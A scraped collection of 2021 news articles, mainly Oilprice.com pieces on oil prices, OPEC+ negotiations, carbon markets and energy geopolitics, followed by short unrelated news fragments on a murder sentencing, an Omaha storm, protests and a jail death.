Washington is currently facing its second heat wave after its nearly weeklong triple-digit temperature spike of up to 109 degrees. According to an article, The emergency Outdoor Heat Exposure rule, *which went into effect Tuesday, clarifies proactive steps that employers must take to prevent outdoor workers from suffering heat-related illness. It updates existing rules that are valid annually from May through September. The rules already require easy access to at least one quart of drinking water for each worker per hour, an outdoor heat exposure safety program with training and an appropriate response to workers who are experiencing heat-related illness symptoms.

The heat experienced in our state this year has reached catastrophic levels. The physical risk to individuals is significant, in particular those whose occupations have them outdoors all day, said Gov. Jay Inslee. Our state has rules in place to ensure these risks are mitigated. However, the real impacts of climate change have changed conditions since those rules were first written and we are responding.
Crude oil has been having a great 2021 so fara very different situation to last years when the pandemic devastated demand for all commodities fueling a price rout that lasted well into 2020. Now, commodities are back with a vengeance, and nowhere is this vengeance clearer than in oil. Crude has become the hottest commodity for traders in the past few weeks as surging demand has topped all expectations, sparking a run on oil futures. According to a recent Wall Street Journal report, in mid-June, the ratio of bullish to bearish bets on oil in New York stood at a staggering 23 to 1. This compares with a ratio of 6 to 1 at the beginning of the year.

This is the speculative component of the price rally, and it is certainly a big component. But the fundamental component is a big one, too. OPEC+ stunned everyone earlier this month when it failed to reach an agreement on how to proceed with its production control beyond the current month. The UAE, a dissenter who had already criticized some aspects of the production cut deal, this time really dug its heels in and refused to make any concessions until concessions were made to it.

The latest update from this front is that the members of the oil-producing cartel have yet to make progress on the deal, according to unnamed sources familiar with the situation, who spoke to Reuters this week. The sources said Russia had been trying to bring the UAE and Saudi Arabia together to the negotiations table but was apparently having trouble succeeding, so a new meeting of OPEC+ was unlikely this week.

Related: A Contrarian Investors Approach To OPECs Oil Spat

Meanwhile, however, there have been headwinds at play, too, namely fresh worry that the delta variant of the coronavirus could reverse the global economic recovery that has driven the surge in oil demand that few expected. Because of this worry, Reuters reported Monday, oil started the week with a loss, although a minor one, at less than a percentage point for both Brent crude and West Texas Intermediate.

On the stock market, oil traders have been taking profits. This has weighed on oil prices as well. Per Reuters John Kemp, last week hedge funds sold a total 34 million barrels of WTI and 5 million barrels of Brent as well as 14 million barrels of U.S. gasoline. The selloff, Kemp noted, came from the closing of bulling positions to the tune of 55 million barrelsand not the opening of bearish ones, suggesting sentiment remained upbeat on the whole.

According to the Wall Street Journal, however, there may be a ticking bomb hiding among all these oil bets. That ticking bomb would be the option that many traders have been using to bet on oil reaching $100 by the end of 2022. Analysts are concerned that a reversal of oils fortunes would lead to an options selloff, which, due to the size of the options market in oil right now, would send ripples across financial markets.

In all fairness, the chances of a sudden drop in oil prices are slimmer than they would normally be during a rally caused mostly by tightening supply. Normally, higher prices lead to greater production. This time, however, higher production is not coming. U.S. shale producers are being extra-careful and are not in a hurry to bring back too many barrels. Supermajors are being targeted by activist shareholders to reduce their output rather than boost it. Theres Iranian oil that a couple of months ago many expected to quickly return to legal global markets, but it appears that it will take a while yet for Iran and the United States to seal a deal that would make this possible. Wild price swings are likely to continue as speculators try to make the best of the oil rally.

By Irina Slav for Oilprice.com

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China, the world's largest polluter, is set to launch its nationwide emissions-trading system on Friday, sources with knowledge of the plans told The Wall Street Journal on Wednesday.

China's entry into the carbon market would double the share of greenhouse gas emissions being traded under such schemes around the world, the Journal notes.

The step toward creating a national emissions-trading system is part of the Chinese pledge to reach net-zero emissions by 2060, a decade later than the deadline for most developed economies, 2050.

The national carbon emissions trading scheme (ETS) is expected to initially include emission trading among 2,225 firms in the power-generation sector, one of the large polluters in China. Companies will be given a specific allowance of carbon emissions that they will be allowed to emit every year. The companies will then buy or sell allowances, which is ultimately expected to incentivize them to reduce emissions.

It is not clear yet how much the allowances will trade for on the carbon emissions market, according to the Journal.

The Chinese carbon trade market will be the world's largest when it launches, the authorities say.

The country has already set up the trading platform of the national emissions trading system on the Shanghai Environment and Energy Exchange, Reuters reports.

China's carbon emissions market is set to expand 30 times over the next ten years, reaching $25 billion by 2030, Bloomberg reported earlier this year, citing an analysis by Citi.

"The Chinese national ETS [emissions trading system] as currently rolled out should play a limited role in reducing emissions at first," Citi analyst Tracy Liao said, as quoted by Bloomberg.

"We expect a series of developments to transform China's ETS into the world's largest effective carbon trading scheme and a key building block of the country's 2030 peak emissions commitment."

China aims to have its emissions peak by 2030 and to be carbon neutral by 2060.

Experts, however, are concerned that China continues to expand its coal production, while the fines for firms that exceed their quotas under the emissions trading scheme are too low to incentivize full compliance.

The fines are "too low to act as a deterrent," Zhang Jianyu, vice-president of the Environmental Defense Fund China, told AFP earlier this year.

By Tsvetana Paraskova for Oilprice.com

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Cuba has seen in recent days the biggest protests in decades as thousands of people took to the streets in the Communist-run country to demand freedom. But they also protest against the severe economic crisis and power outages. The pandemic exacerbated a crisis that has been brewing for years due to the U.S. sanctions against Cuba and, more recently, American sanctions against Cubas staunch ally, Venezuelas Nicolas Maduro. The crumbling Venezuelan oil industry means that less fuel oil from the country sitting on the worlds largest oil reserves is reaching Cuban shores to power the old power plants on the island.

Cubas power generation is heavily dependent on oil productsaccording to the International Energy Agency (IEA), Cubas energy supply mainly comes from oil products, which account for more than 80 percent of power generation.

The U.S. sanctions on Venezuela, however, have accelerated the demise of the state-oil firm PDVSA, which is also struggling with outdated equipment at refineries and plants due to years of a lack of investment in maintenance and spare parts. The crumbling of Venezuelas oil production and oil exports has reduced shipments to Cuba, too. The island doesnt have enough fuel oil, which has been coming from Venezuela under a barter deal between the leaders of the two countries in 2000.

Related: Biomass: The EU's Great 'Clean Energy' Fraud

Venezuela is Cubas largest oil supplier under a barter deal sealed by the late leaders of the two countries, Hugo Chavez and Fidel Castro. The deal envisaged Cuba getting regular shipments of crude in exchange for its highly trained doctors and other professionals to work in Venezuela.

The tightening of the U.S. sanctions against Maduros regime compounded Venezuelas oil industry troubles, and Cuba became a collateral victim of reduced Venezuelan oil shipments.

Considering that Cuba depends on Venezuelan fuel oil to keep the lights on, insufficient oil supply from Caracas means hours of blackouts because most power plants are old, inefficient, and run on oil products.

Power outages have been among the main reasons for Cuban protests in recent days. People and businesses do not have electricity for hours every day. This adds to the crumbling economy due to the pandemic and missed revenues from tourist arrivals as people avoid traveling to Cuba.

Two weeks before the protests erupted on Sunday, authorities had said at the end of June that there would be nationwide power outages through July 7 due to a failure at the Antonio Guiteras thermoelectric power plant in Matanzas. Just weeks before that, the power plant had undergone planned maintenance.

Related: Oil Falls As Saudi Arabia And UAE Compromise On Deal



The reduced shipments of oil from Venezuela, the collapse of the tourism industry, and the pandemic created a perfect storm in Cuba. Residents demand freedom and the resignation of President Miguel Diaz Canel. Cubans are fed up with economic hardship, severe power outages, food and medicine shortages, and continued suppression of freedom of speech.

Cubas economy collapsed by 11 percent in 2020, according to government estimates. This year, the economic downturn is continuing.

Residents in San Antonio de los Banos, which ignited the street protests last week, have been spending 12 hours without electricity per day, the Caracas Chronicles reports.

This is the worst Cubans have seen since the humanitarian crisis in the early 1990s during the so-called Periodo Especial, which started with the collapse of the Soviet Union and the Council for Mutual Economic Assistance the USSR was leading in Europes Eastern bloc and the Socialist and Communist-run states elsewhere, including Cuba.

Authorities in Cuba arrested dozens of people this week after the protests, which are rare in the country, where unauthorized gatherings are illegal. President Diaz Canel said the protests were instigated by the U.S. and urged Cubas true revolutionaries to suppress the protests of the mercenaries, which increased violence in Cuban streets.

The protests are unlikely to result in the toppling of the regime in Cuba because the country doesnt have an alternative political movement that could transition the country into some form of freedom and democracy, the Caracas Chronicles Rafael Osio Cabrices says.



By Tsvetana Paraskova for Oilprice.com

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Saudi Arabia and the United Arab Emirates (UAE) have resolved their nearly two-week-long standoff over baseline production levels that was blocking a unanimous OPEC+ deal on oil supply, a delegate from the OPEC+ group told Reuters on Wednesday.

Under the compromise, the UAE will see its baseline production level lifted to 3.65 million barrels per day (bpd) when the current pact expires in April 2022, according to the source. The current baseline for the UAE was around 3.17 million bpd.

Earlier this month, the UAE blocked a deal on OPEC+ raising oil production from August, making any agreements contingent on revising the unfairly low Emirati baseline from 2018. The UAE was insisting on a higher baseline from which to calculate its quotas because the 2018 figure hadnt reflected the countrys expanded production capacity. The UAE has ambitions to raise its oil production capacity to 5 million bpd by 2030, from around 4 million bpd now.

Despite mediation, consultations, and side talks in the first weekend of Julyafter two days of no deal outcome of meetingsOPEC+ failed a third time on July 5, called off the OPEC+ meeting, and said it hadnt decided yet when the next meeting would be held.

Now sources tell Reuters and Bloomberg that a compromise agreement has been reached. The UAE will back the Saudi proposal from the early July meetings that the OPEC+ pact be extended past April 2022 into December 2022, a delegate told Bloomberg today. Related: China Oil Imports Fall To Lowest In 2021

A new date for OPEC and OPEC+ meetings will be set soon, the delegate said.

After news of the compromise broke, oil prices traded slightly down early on Wednesday before the EIA weekly inventory report.

A compromise between two of OPECs key members, Saudi Arabia and the UAE, and within the wider OPEC+ group would mean that the alliance could move to add more oil supply from August through December this year to meet the rebound in global oil demand and prevent a super-tight market and high oil prices that could slow economic and oil demand growth.

The compromise also removes a key uncertainty hanging over the market about the future of the OPEC+ pact and the possibility of a new oil price war.

By Tsvetana Paraskova for Oilprice.com

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A commonly heard refrain amongst investment circles is that emerging markets, or EMs, are no longer what they used to be over the past two decades. Coming out of the Global Financial Crisis, EM equities were the best performing regional equity market, returning 79% in 2009 compared to a 27% return by the S&P 500. But it's been pretty much downhill from there, with the EM lagging behind the Developed Markets (DM) with a 7% return vs. 13% by the DM (excluding the U.S.) in the current year. A similar narrative has been playing out in the energy markets, with EMs hardly visible in the global ESG and renewable energy boom despite being the most vulnerable to climate change.

But a cross-section of Wall Street is now saying not to give up on EMs just yet.

Investors and strategists at Goldman Sachs and JPMorgan Chase are saying there's plenty of value to be found in EM commodity markets regardless of whether or not OPEC+ can resolve its latest deadlock.

In fact, some analysts have labeled it a "generational opportunity".

"A generational opportunity exists today in many of the deepest-value emerging markets. Whether you export goods or whether you export commodities, you're getting an external demand boom right now for pretty much whatever it is that you sell," Whitney Baker, the former head of emerging-market research at Bridgewater Associates, has told Bloomberg.

OPEC+ Spat? No Worries

Oil prices have been reeling ever since OPEC+ talks collapsed on Monday due to major disagreements by its members. Major cracks appeared in the ministerial meeting with the United Arab Emirates continuing to block an agreement because it wants to increase its oil production before demand falls as per WSJ. The market fears that the UAE might "want out of OPEC so it can pump 4M bbl/day and make hay while the sun shines," Phil Flynn, market analyst at Price Futures Group, has told MarketWatch.

The UAE's objection derailed a proposal to ease existing output curbs in a controlled manner and allow production to rise by 400K bbl/day each month through December, leading to a planned OPEC+ meeting being called off with no new suggested date for the next gathering. This, in effect, leaves the organization's current production limits in place. However, there's a growing sense that the latest development is not necessarily bullish for oil markets because of the risk that the whole thing might fall apart and become a free for all, meaning a lot more oil potentially gets put on the market.

The oil markets appear spooked, with oil futures charts in deep backwardation; in fact, oil prices for U.S. crude for delivery in December 2021 are currently trading at a big premium to oil for delivery in December 2022, a bearish signal.

Early on Monday, reports emerged that a compromise had been reached, though not official, that would raise UAE's baseline, allowing it to eventually pump more. It's only a provisional compromise agreement, which still has to get through an official OPEC+ meeting, which has not been scheduled.

It's eased some of the uncertainty that there could be another oil price war.

Related: Oil Stabilizes After Saudi-UAE Compromise Removes Major Uncertainty



Despite OPEC's dithering, analysts such as GS and JPM have been optimistic about oil and not afraid that the cartel's inability to strike a deal would derail the global surge in demand for commodities as economies pick up steam amid the widening vaccine rollout.

Indeed, these bulls are saying that cheap valuations and hawkish central banks will continue to support currencies closely tied to oil's moves should a slump in crude actually materialize.

Chris Turner, the head of currency strategy at ING Groep NV in London, has told Bloomberg that front-loaded tightening cycles in Russia and Mexico already make those countries' currencies winners in the current environment.

That sentiment is supported by Goldman strategists, including Zach Pandl and Kamakshya Trivedi, who have picked the Ruble, Peso, and Brazil's Real as being bullish despite the latest spate of volatility.

The evidence thus far appears to favor the bulls.

The Mexican peso and Russian ruble are little changed this year at a time when Brent is up 50% despite historically being among the most sensitive to swings in crude oil prices.

But bears like Bhanu Baweja, the London-based chief strategist at UBS Group, have countered by arguing that the rapid spread of the new delta variant of Covid-19 could slam the brakes on the EM party.

However, in the event that the oil outlook worsens over the coming weeks and months, exporters such as Russia and Qatar still hold the advantage over their peers thanks to their relatively cheap valuations and sovereign fiscal resilience.

By Alex Kimani for Oilprice.com

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Someone in the White House seems to have stumbled upon an atlas, seen where Oman is located, and worked out how crucial it is in the Middle Easts energy matrix. China worked this out a long time ago and has been busily broadening and deepening its ties with the Sultanate, which is a crucial part of both the land and maritime routes of its multi-generational power-grab project, the One Belt, One Road (OBOR) program. Up until the apparent discovery of the White House atlas, it looked like Oman was entering the final stage of joining the China-Russia-Iran axis of influence in the Middle East but now that the U.S. knows where Oman is it might be the case that it is not just allowed to fall into Beijings grasp, like much if the rest of the Middle East already has. Omans main problem for years has been that it has very limited natural resources by regional standards - only around five billion barrels of estimated proved oil reserves (barely the 22nd largest in the world) and minimal natural gas reserves. To counter this deficit, Oman determined upon the strategy of maximizing the returns from these raw hydrocarbons resources by turning them into a range of value-added petrochemicals products, with this effort largely focused on a group of interconnected projects centered on the Duqm projects. The only drawback with this strategy is that it requires a lot of upfront investment over many years before the necessary infrastructure is ready to begin to generate meaningful financial returns. At the time when Oman began in earnest to pursue this petrochemicals strategy  in the middle of 2013, notably, the Oman Refineries and Petroleum Industries Company (ORPIC) announced that it was proceeding with a US$5 billion program to boost processing capacity at its refinery in Sohar and build a nearby petrochemicals complex  the Brent crude oil price was over US$100 per barrel and looked steady around that level. Just a few months after this, though, Saudi Arabia instigated the first of its disastrous oil price wars aimed at destroying the then-nascent U.S. shale oil sector by organizing OPEC members to produce at full capacity, pushing oil prices through the floor, and bankrupting the shale producers. Although Saudi Arabia was spectacularly unsuccessful in destroying the U.S.s shale sector, it did manage to destroy the finances of the Kingdom itself, fellow OPEC members, and all other countries whose economies were reliant on oil exports, including Oman. From that point, Oman has been in severe financial trouble and desperate to find an international superpower sponsor to allow it both to survive economically and to complete its plans for a world-class petrochemicals sector and economic robustness.

Given that Oman was a key logistical node in Chinas original maritime Silk Road route that dates back to before the birth of Christ and continued for another 1,500 years or so, it is entirely unsurprising both that Beijing regards Oman as a natural cog in its new iteration of the sea and land routes of the Silk Road - the OBOR program  and that it has no doubt whatsoever that it will outflank the U.S. in achieving this aim. Already, as analyzed in depth every step of the way by OilPrice.com, China has developed an extensive on-the-ground presence in Oman through its huge multi-layered investments there. A prime example of this approach was the signing of a land lease agreement to establish a huge industrial park in the Duqm area that will allow a number of Chinese companies to invest in the Sultanate to the tune of at least US$10 billion in the first instance. Although initially focussed on expanding the capacity and product capabilities of the Duqm Refinery and associated operations, the deal then pans out into a much broader range of projects in three areas - heavy industrial, light industrial, and mixed-use - all of which will be ready within the next five to 10 years. The most recent signal that Oman had run out of any other realistic options to secure its future financially other than to decisively side with China came with comments from its oil and gas minister, Mohammed al-Rumhy, that the Sultanate wants to revive plans to import Iranian gas via a pipeline should the nuclear deal be reinstated and is also considering extending its pipeline network to Yemen. The full implications of this were analyzed by OilPrice.com here.

Related: China Oil Imports Fall To Lowest In 2021

Nonetheless, Oman is not yet completely lost to Washington, as Muscats newest efforts to raise financing open the way for increased involvement  that is, any meaningful involvement at all  from the U.S. One element to this is that state firm, Energy Development Oman (EDO), is in talks with various international banks to raise US$1.5 billion in debt financing. EDO is a strategically vital company in Omans energy sector, as it was established last year to take ownership of the Sultanates largest oil and gas operation, Block 6. U.S. interests are already represented in this initiative, with JPMorgan leading discussions with EDO on potential financing plans. The U.S.s key new player in the push to check Chinas advance in the Middle East  the UAE  has also signaled a strong interest in playing a major part in any lending facilities and mechanisms, legal sources close to proceedings told OilPrice.com last week. Just over a month ago, Omans al-Rumhy stated that EDO would be looking for a total of around US$3 billion to finance its operations, which could potentially open up more direct investment opportunities for the U.S. in Omans broader infrastructure going forward.

One such opportunity may come with the sale by Oman state energy company OQ of its principal drilling unit, Abraj Energy Services, a sale that is currently in the early stages of discussion, according to the legal sources spoken to by OilPrice.com last week. The options are to sell part, most, or all of the operation either via a private sale or through an IPO [initial public offering] or a combination of both, said one of the legal sources. In this context, it is true that Omans June shariah-compliant bond (sukuk) offering was a success, with the Sultanate able to sell US$1.75 billion in nine-year sukuk after drawing in more than US$11.5 billion in orders for its second international bond issuance this year. It is also true, though, that this success is unlikely to translate into a similar success for a stock market flotation of any significant size, as the sukuk market is a highly specialized one that almost automatically attracts heavy bidding from its core investor community. Instead, stock market investors will focus more on the credit profile of Oman and this has steadily worsened since the Saudi-instigated oil price war from 2014 to 2016 and the same thing again in early 2020. Consequently, the Sultanate now stands as one of only two Gulf states with a junk credit rating, with the other being Bahrain.

This poor credit profile is the reason why Omans previous idea of selling a stake via IPOs in the Oman Oil Refineries and Petroleum Industries Companys (ORPIC) has so far come to naught. With ORPIC, and Oman Oil, now functioning under the new identity of OQ (the O stands for Oman, incidentally, and the Q for former-Sultan Qaboos), these IPO plans have been paused but if the U.S. did want to begin to make a stand against China in an absolutely vital land and maritime point in the Middle East then buying as much of Abraj Energy Services as possible and then persuading the Sultan to sell it as much of OQ as possible would be a very good start. Aside from anything else, it would secure the U.S. effective control over the Gulf of Oman, which acts as the entry and exit point to the Persian Gulf and the key oil transit chokepoint of the Strait of Hormuz. It would also stymie all of Irans short-to-medium term plans to become a major liquefied natural gas (LNG) player by utilizing 25 percent of Omans LNG processing capacity at Qalhat and also Irans broader plan to build a 192-kilometer section of 36-inch pipeline running along the bed of the Oman Sea at depths of up to 1,340 meters from Mobarak Mount in Irans southern Hormuzgan province to Sohar Port in Oman for gas exports to the rest of the world. Perhaps more satisfyingly for the U.S. than any of that is that it would cause major problems for China in seamlessly rolling out its OBOR land and sea routes, as it has been allowed to do effectively unchallenged by the U.S. to this point.

By Simon Watkins for Oilprice.com

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Energy Fuels Inc. and Neo Performance Materials Inc. announced that they have executed the first shipment of mixed rare earth carbonate from a mill in Utah to a separation facility in Estonia.

On July 7, Energy Fuels announced the first shipment, containing approximately 20 metric tons of the mixed rare earth carbonate, from the White Mesa Mill in Utah. The material was en route to Neo Performance Materials rare earths separation facility.

The announcement represents the start of a fledgling U.S.-E.U. rare earths supply chain. Both the U.S. and the E.U. have long sought to mitigate dependence on China, which dominates an overwhelming majority of rare earths mining and refining.

The shipment marked the first of an expected 15 containers of carbonate to be sent to the Estonia facility, Energy Fuels said in the July 7 announcement.

Additional shipments of RE Carbonate are expected as Energy Fuels continues to process natural monazite sand ore mined in Georgia (U.S.) by Chemours for both the rare earth elements and naturally occurring uranium that it contains, Energy Fuels said.

Monazite is produced as a byproduct of existing heavy mineral sands mining, Energy Fuels said. The material also contains naturally occurring uranium that Energy Fuels recovers for use in the generation of carbon-free nuclear energy, the company added.

Furthermore, the companies announced the signing of a contract for a definitive supply agreement.

Under the Agreement, Colorado-based Energy Fuels will ship all or a portion of its RE Carbonate to Neos Silmet rare earth separations facility, Energy Fuels added. Neo will then process Energy Fuels RE Carbonate into separated rare earth materials for use in rare earth permanent magnets and other rare earth-based advanced materials.

China rare earths exports

According to official data from the General Administration of Customs, China exported 4,171 tons of rare earths in May 2021.

The May total marked an 11.6% increase from 3,737 tons in April.

Through the first five months of the year, China exported 19,833 tons. The total marked an increase of 8.7% from the first five months of 2020.

By value, exports during the five-month period reached U.S. $245.4 million, up 57.3% year over year.

Biden administration announces new Supply Chain Task Force

Last month, the Biden administration announced the establishment of a new Supply Chain Task Force. The new body will aim to address near-term supply chain challenges to the economic recovery.

The secretaries of commerce, transportation and agriculture will lead the new task force. Furthermore, the task force will focus on areas in which there has been a mismatch between supply and demand, with the White House specifically citing homebuilding and construction, semiconductors, transportation, and agriculture and food.

Earlier this year, President Joe Biden signed an executive order titled Americas Supply Chains. The order called for 100-day reviews of critical U.S. supply chains, to be carried out by various agency heads.

In its announcement, the White House called for the creation of sustainability standards for a host of critical metals.

The government, working with private sector and non-governmental stakeholders, should encourage the development and adoption of comprehensive sustainability standards for essential minerals, such as lithium, cobalt, nickel, copper, rare earth elements, and other materials, the White House said.

Actual metals prices and trends

The Chinese yttrium price fell by 1.3% to $33.30 per kilogram as of July 1. Meanwhile, terbium oxide fell 4.3% to $999 per kilogram.

The neodymium oxide price dipped by 5.3% to $73,562 per metric ton.

In addition, europium oxide fell by 1.3% to $30.20 per kilogram. Lastly, dysprosium oxide fell by 5.4% to $1,463 per kilogram.

By AG Metal Miner

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The European Commission unveiled on Wednesday its latest plan to support the European Union in becoming a carbon-neutral bloc by 2050 and slash net greenhouse gas emissions by at least 55 percent by 2030, compared to 1990 levels.

To ensure the EU would reach those targets, as laid out in the European Green Deal, the European Commission adopted on Wednesday a package of proposals to align the EUs climate, energy, land use, transport, and taxation policies with the goals.

The package proposed by the Commission needs to be adopted by all member states and by the European Parliamenta process that could take some two years.

The EU faces debates about how to make the so-called Fit for 55 package fair for European citizens, especially vulnerable households and people employed in the coal mining industries in countries like Poland and Germany.

Last month, Frans Timmermans, Executive Vice-President for the European Green Deal, said that the European Commission plans to create a so-called climate action social fund if it moves to introduce carbon pricing on road transportation fuels and buildings, in order to protect the most vulnerable households against rising fuel and heating bills.

In the package unveiled today, the Commission is proposing to phase out free emission allowances for aviation and align with the global Carbon Offsetting and Reduction Scheme for International Aviation (CORSIA) and to include shipping emissions for the first time in the EU Emissions Trading System.

To address the lack of emissions reductions in road transport and buildings, a separate new emissions trading system is set up for fuel distribution for road transport and buildings, the Commissions proposal says.

This is the make-or-break decade in the fight against the climate and biodiversity crises, Timmermans said.

Ahead of the package presentation, BPs chief executive Bernard Looney said in a LinkedIn post on Tuesday: From scaling up renewables to decarbonising transportation in Europe - it will be wide-ranging and challenging. And we welcome this legislation.

We expect these policies to stimulate low carbon consumer demand and create big business opportunities for companies like ours, Looney added.

By Tsvetana Paraskova for Oilprice.com

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Africa's largest oil producer and exporter, Nigeria, is expected to pass its new petroleum billtwenty years in the makingas early as Wednesday, despite last-minute amendments that have created some controversy.

The country's petroleum industry bill was submitted at the Senate at the end of last month.

The Petroleum Industry Bill (PIB) has been two decades in the making to overhaul the way Nigeria will share its oil resources with international oil companies and aim to attract new investment in oil and gas.

Community leaders in Nigeria's oil-rich regions want changes to the latest version of the bill, asking for a larger share of revenues for the community.

According to an analysis by Reuters, the lawmakers in Nigeria could give their final approval to the bill as early as on Wednesday, although some debate had arisen due to provisions the Senate has added in recent days.

One of them includes giving refiners licenses to import crude linked to the refining capacity. This could basically give Nigerian billionaire Aliko Dangote a near-monopoly in fuel import licenses because the refinery his Dangote Group is currently building will have a massive capacity of 650,000 barrels per day (bpd).

"It hinders the country's financial and economic progress because it transfers a huge chunk of public wealth to favoured businessmen," the Trade Union Congress of Nigeria said.

The other debatable last-minute provision in the new petroleum bill concerns exploration in northern Nigeria. The bill is creating a fund to back so-called 'frontier' exploration for oil in the northern part of the country. Community leaders in the south, however, think that the financial parameters for exploration in the north are high. According to the Pan Niger Delta Forum, the northern oil exploration fund levels are "provocative" and "wasteful," Reuters notes.

Still, despite the last-minute debates, the passing of the new petroleum bill shouldn't be delayed too much, analysts told Reuters.

By Charles Kennedy for Oilprice.com

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A joint venture between Royal Dutch Shell and Brazils Cosan is seeking a valuation of up to $13.5 billion (70 billion reais) when it lists on the Brazilian stock exchange, Bloomberg reported, citing unnamed sources.

Earlier reports pegged the valuation of Raizen, one of the biggest fuel distributors in Brazil and the countrys largest sugar and ethanol producer, at up to $17.3 billion. Earlier still, Brazilian media reported Raizen was seeking a valuation of between $17.4 billion and $19.4 billion (90-100 billion reais).

Raizen is the fourth-largest company in Brazil in terms of revenue, behind only Petrobras, miner Vale, and meatpacker JBS.

According to other sources, who spoke to Reuters, Raizen could be valued at between $11.62 billion and $15.5 billion (60-80 billion reais), depending on demand from investors.

Raizen plans to sell 10 percent on the stock exchange to raise $1.16 billion (6 billion reais), Bloombergs sources said. According to Reuters sources, this is half the amount Raizen planned to raise through the initial public offering initially. The reason for the reduction was not disclosed.

As a biofuels major, Raizen is betting big on ethanol. However, an article from Bloomberg a month ago noted that the increased adoption of EVs, both in Brazil and globally, will undermine the global ethanol market.

The article cited a forecast that electric cars could lead to a 40-percent decline in ethanol demand by 2035. Raizen was named as one of the potential victims of this trend, especially since it recently expanded its ethanol production capacity.

It is clear that an adaption of the new technologies will pose a significant threat to the Brazilian sugar milling sector, said Soren Jensen, co-author of the forecast, an agribusiness vet. Players in this industry should start to take it into consideration when making investments decision gradually from now on.

By Charles Kennedy for Oilprice.com

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The United States has decided to temporarily waive sanctions on Iranian oil funds abroad but without returning Tehran's access to its bank accounts in Japan and South Korea.

"Allowing these funds to be used to repay exporters in these jurisdictions will make those entities whole with respect to the goods and services they exported to Iran, address a recurring irritant in important bilateral relationships, and decrease Iran's foreign reserves," the waiver, which the Department of State presented to Congress, said, as quoted by Iran's Mehr news agency.

This means the government in Tehran will be unable to withdraw the funds but can use them to pay accounts outstanding to South Korean and Japanese exporters. In fact, the money cannot be transferred to Iran at all, the State Department said.

"The secretary of state previously signed a waiver to allow funds held in restricted Iranian accounts in Japan and Korea to be used to pay back Japanese and Korean companies that exported non-sanctioned items to Iran," a State Department spokesperson said as quoted by Mehr. "These repayment transactions can sometimes be time-consuming, and the secretary extended the waivers for another 90 days."

The sanction talks between the U.S. and Iran have stalled lately as the government in Iran changed, with the new president known as a hardliner unlike his predecessor Hassan Rouhani who was hailed as a reformer when he came into power.

According to various reports citing participants in the negotiations, most of the work on the negotiations is done but what remains is the tricky part. Last month, an Iranian official said that the U.S had agreed to lift sanctions on the country's oil industry, but the U.S. was quick to deny the report, saying "nothing is agreed until everything is agreed."

The talks have currently been suspended with zero clarity on when they will resume.

By Irina Slav for Oilprice.com

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As she stood in the jury box, she turned to Fairbanks, seated 5 feet away.

Im so sorry you felt you had to do this, Mr. Fairbanks, she said.

Ten minutes later, Condolucis son, Joe Condoluci, spoke  condemning Fairbanks for murdering my father. Joe Condoluci said his dad was a tough disciplinarian who moved his family around because he had been a federal informant in a motorcycle gang. But he said he was not an irredeemable man. Joe Condoluci said his father had helped him overcome a drug addiction. He also organized collections of nearly expired food from a grocery store  collections that he would then deliver to food pantries, Joe Condoluci said.

Joe Condoluci addressed something else  the swing set that Fairbanks had pointed to as purported evidence that the elder Condoluci was trying to lure children.

Turns out, the swing set needed repairs. So Mattieo Condoluci was working on it as a gift to his 11-year-old grandson. It wasnt bait for neighborhood children.

The facts that he had in his mind were not facts; they were just made-up thoughts in his head as to why he needed to kill my father, Joe Condoluci said. Its not fair, its not right, for someone to take the law into their own hands. He killed my father in cold blood.
Ponca Hills resident Steve Hamilton had his RV packed up. He was all set to take his daughter and her friend to Worlds of Fun.

Marlisa Lash, who lives in an apartment in north-central Omaha, had just spent more than $150 on food.

Both were upset when the devastation wrought by the Saturday morning storm left them without power for days.

A large tree crashed on Hamiltons driveway and brought down electrical wires with it, preventing his family from leaving. So he backed the RV into the front yard and changed plans.

We had a staycation, he said. Its a different form of a staycation, but we were very fortunate to live out of the RV.

Fortunately for Lash, she had just bought battery-powered decorative vases that light up. They became her main light source.

About 21,000 Omaha-area Omaha Public Power District customers remained without power late Tuesday afternoon. Most of those were in eastern and central Omaha and parts of Bellevue, La Vista and Papillion. At the peak Saturday, about 188,000 OPPD customers were without power because of the storm, which featured winds as high as 96 mph.
The fact that the OMB will not be pursuing the change at this time will ensure that essential community services, funded by various federal agencies which consider population size and MSA status, will continue into the foreseeable future," said Bismarck Mayor Steve Bakken. We are very grateful the current threshold will remain in place at 50,000 people."

Federal statisticians who originally had recommended the change said it was long overdue, given that the U.S. population has more than doubled since the 50,000-person threshold was introduced in 1950. Back then, about half of U.S. residents lived in metros; now, 86% do.

The committee of federal statisticians that made the recommendation said Tuesday that it would now support putting it on hold pending additional research and outreach to municipalities and others.

Updates to these standards are considered every decade. Even though the proposal was made during the Trump administration, and put on hold in the Biden administration, statisticians say any changes to the standards aren't based on politics.

Of the 734 public comments the Office of Budget and Management received about the proposed change, 97% opposed it, the agency said Tuesday in a notice of its decision.
LOS ANGELES (AP)  Los Angeles County leaders are moving forward with a plan to return prime beachfront property to descendants of a Black couple who built a resort for African Americans but were stripped of the land by local city officials a century ago.

The Board of Supervisors voted unanimously Tuesday to pursue an action plan created by the county chief executives office on returning the land to the descendants of Willa and Charles Bruce once the state allows it.

The county would be a sponsor of state legislation that is needed to enable the transfer.

We are on an important road to set a precedent that could be replicated across the country as we work to put actions behind our commitment to an anti-racist agenda and anti-racist county, Supervisor Holly Mitchell said. We cannot achieve racial equity until we confront our past and make it right.

The plan discusses transferring the land, assessing the propertys worth, determining who the legal heirs are and limiting the property tax burden on the family, the Southern California News Group reported Wednesday. More details are expected later this year.
Lawyers for 17 people arrested at pipeline protests in Louisiana say a local prosecutor has rejected felony trespass charges against them all.

The decision is a major victory for free speech, attorney Bill Quigley and the Center for Constitutional Rights said.

District Attorney Bofill Bo Duhe sent a letter late Friday saying he did not plan to prosecute any of the 16 protesters or a freelance journalist who was arrested at one demonstration, said Pamela Spees, an attorney for the center.

To avoid any doubt, l write this letter as an assurance of non-prosecution and to affirmatively disavow any future prosecution, Duhe wrote in a copy provided Wednesday to The Associated Press. The letter was dated June 16, but had been corrected Friday to include all 17 names, Spees said.

Duhe did not immediately respond to a call Wednesday requesting comment.

The 17 were arrested at several different events in various parts of St. Martin Parish, Spees said.
CHARLESTON, S.C. (AP)  The South Carolina prosecutor investigating the jail death of a mentally ill Black man said Wednesday that the sheriff's office has finally turned over more information in the case, nearly seven months after the incident occurred.

Ninth Circuit Solicitor Scarlett Wilson said Wednesday that Charleston County Sheriffs Office has handed over 162 gigabytes of information on the detention deputies involved in the Jan. 5 death of Jamal Sutherland.

The prosecutor added that the agency provided the information after months of requests from Wilson's office, the State Law Enforcement Division and the FBI.

